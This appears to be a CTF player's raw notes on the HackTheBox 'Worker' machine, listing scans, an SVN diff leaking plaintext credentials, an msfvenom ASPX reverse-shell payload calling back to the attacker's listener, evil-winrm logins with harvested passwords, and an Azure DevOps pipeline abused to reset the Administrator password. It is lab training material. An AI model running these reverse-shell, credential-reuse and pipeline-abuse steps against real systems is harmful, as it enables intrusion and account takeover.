SVN SERVER

SVN CHECKOUT

SVN DIFF

ASPX SHELL

YAML YML AZURE

PORT STATE SERVICE VERSION

80/tcp open http Microsoft IIS httpd 10.0

| http-methods:

|_ Potentially risky methods: TRACE

|_http-server-header: Microsoft-IIS/10.0

|_http-title: IIS Windows Server

3690/tcp open svnserve Subversion

5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

|_http-server-header: Microsoft-HTTPAPI/2.0

|_http-title: Not Found

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

http://worker.htb:3690/

WFUZZ FOR DOMAINS

spectral.worker.htb

dimension.worker.htb

devops.worker.htb

root@kali:/home/kali/Desktop/htb/worker# svn checkout svn://10.10.10.203

A dimension.worker.htb

A dimension.worker.htb/LICENSE.txt

A dimension.worker.htb/README.txt

A dimension.worker.htb/assets

A dimension.worker.htb/assets/css

A dimension.worker.htb/assets/css/fontawesome-all.min.css

A dimension.worker.htb/assets/css/main.css

A dimension.worker.htb/assets/css/noscript.css

A dimension.worker.htb/assets/js

A dimension.worker.htb/assets/js/breakpoints.min.js

A dimension.worker.htb/assets/js/browser.min.js

A dimension.worker.htb/assets/js/jquery.min.js

A dimension.worker.htb/assets/js/main.js

A dimension.worker.htb/assets/js/util.js

A dimension.worker.htb/assets/sass

A dimension.worker.htb/assets/sass/base

A dimension.worker.htb/assets/sass/base/_page.scss

A dimension.worker.htb/assets/sass/base/_reset.scss

A dimension.worker.htb/assets/sass/base/_typography.scss

A dimension.worker.htb/assets/sass/components

A dimension.worker.htb/assets/sass/components/_actions.scss

A dimension.worker.htb/assets/sass/components/_box.scss

A dimension.worker.htb/assets/sass/components/_button.scss

A dimension.worker.htb/assets/sass/components/_form.scss

A dimension.worker.htb/assets/sass/components/_icon.scss

A dimension.worker.htb/assets/sass/components/_icons.scss

A dimension.worker.htb/assets/sass/components/_image.scss

A dimension.worker.htb/assets/sass/components/_list.scss

A dimension.worker.htb/assets/sass/components/_table.scss

A dimension.worker.htb/assets/sass/layout

A dimension.worker.htb/assets/sass/layout/_bg.scss

A dimension.worker.htb/assets/sass/layout/_footer.scss

A dimension.worker.htb/assets/sass/layout/_header.scss

A dimension.worker.htb/assets/sass/layout/_main.scss

A dimension.worker.htb/assets/sass/layout/_wrapper.scss

A dimension.worker.htb/assets/sass/libs

A dimension.worker.htb/assets/sass/libs/_breakpoints.scss

A dimension.worker.htb/assets/sass/libs/_functions.scss

A dimension.worker.htb/assets/sass/libs/_mixins.scss

A dimension.worker.htb/assets/sass/libs/_vars.scss

A dimension.worker.htb/assets/sass/libs/_vendor.scss

A dimension.worker.htb/assets/sass/main.scss

A dimension.worker.htb/assets/sass/noscript.scss

A dimension.worker.htb/assets/webfonts

A dimension.worker.htb/assets/webfonts/fa-brands-400.eot

A dimension.worker.htb/assets/webfonts/fa-brands-400.svg

A dimension.worker.htb/assets/webfonts/fa-brands-400.ttf

A dimension.worker.htb/assets/webfonts/fa-brands-400.woff

A dimension.worker.htb/assets/webfonts/fa-brands-400.woff2

A dimension.worker.htb/assets/webfonts/fa-regular-400.eot

A dimension.worker.htb/assets/webfonts/fa-regular-400.svg

A dimension.worker.htb/assets/webfonts/fa-regular-400.ttf

A dimension.worker.htb/assets/webfonts/fa-regular-400.woff

A dimension.worker.htb/assets/webfonts/fa-regular-400.woff2

A dimension.worker.htb/assets/webfonts/fa-solid-900.eot

A dimension.worker.htb/assets/webfonts/fa-solid-900.svg

A dimension.worker.htb/assets/webfonts/fa-solid-900.ttf

A dimension.worker.htb/assets/webfonts/fa-solid-900.woff

A dimension.worker.htb/assets/webfonts/fa-solid-900.woff2

A dimension.worker.htb/images

A dimension.worker.htb/images/bg.jpg

A dimension.worker.htb/images/overlay.png

A dimension.worker.htb/images/pic01.jpg

A dimension.worker.htb/images/pic02.jpg

A dimension.worker.htb/images/pic03.jpg

A dimension.worker.htb/index.html

A moved.txt

Checked out revision 5.

root@kali:/home/kali/Desktop/htb/worker# svn diff -r 2

Index: deploy.ps1

===

--- deploy.ps1 (revision 2)

+++ deploy.ps1 (nonexistent)

@@ -1,6 +0,0 @@

-$user = "nathen"

-$plain = "wendel98"

-$pwd = ($plain | ConvertTo-SecureString)

-$Credential = New-Object System.Management.Automation.PSCredential $user, $pwd

-$args = "Copy-Site.ps1"

-Start-Process powershell.exe -Credential $Credential -ArgumentList ("-file $args")

Index: moved.txt

===

--- moved.txt   (nonexistent)

+++ moved.txt   (revision 5)

@@ -0,0 +1,5 @@

+This repository has been migrated and will no longer be maintaned here.

+You can find the latest version at: http://devops.worker.htb

+

+// The Worker team :)

+

root@kali:/home/kali/Desktop/htb/worker# grep -r worker.htb

http://devops.worker.htb

nathen

wendel98

repos→branches→new branch→create a branch

root@kali:/home/kali/Desktop/htb/worker# msfvenom -p windows/shell/reverse_tcp -f aspx LHOST=10.10.14.71 LPORT=4444 -o reverse.aspx

upload files-->reverse.aspx→commit

create a pull request→create approve

spectral.worker.htb/reverse.aspx

nc –nlvp 4444

cd svnrepos

robisl:wolves11

root@kali:/home/kali/Desktop/htb/worker# evil-winrm -i worker.htb -u robisl -p wolves11

USER GAINED!!!!

devops.worker.htb

robisl

wolwes11

pipelines→new pipeline→azure repos →parts unlimited→starter pipeline

-script net user Administrator HTBadmin!done

Save and Run

Steps:

-script type C:\Users\Administrator\Desktop\root.txt

displayName: “Run a one line script”

save and run

PRIVESC

Devops.worker.htb

robisl:wolves11

PartsUnlimited

https://p0i5on8.github.io/posts/hackthebox-worker/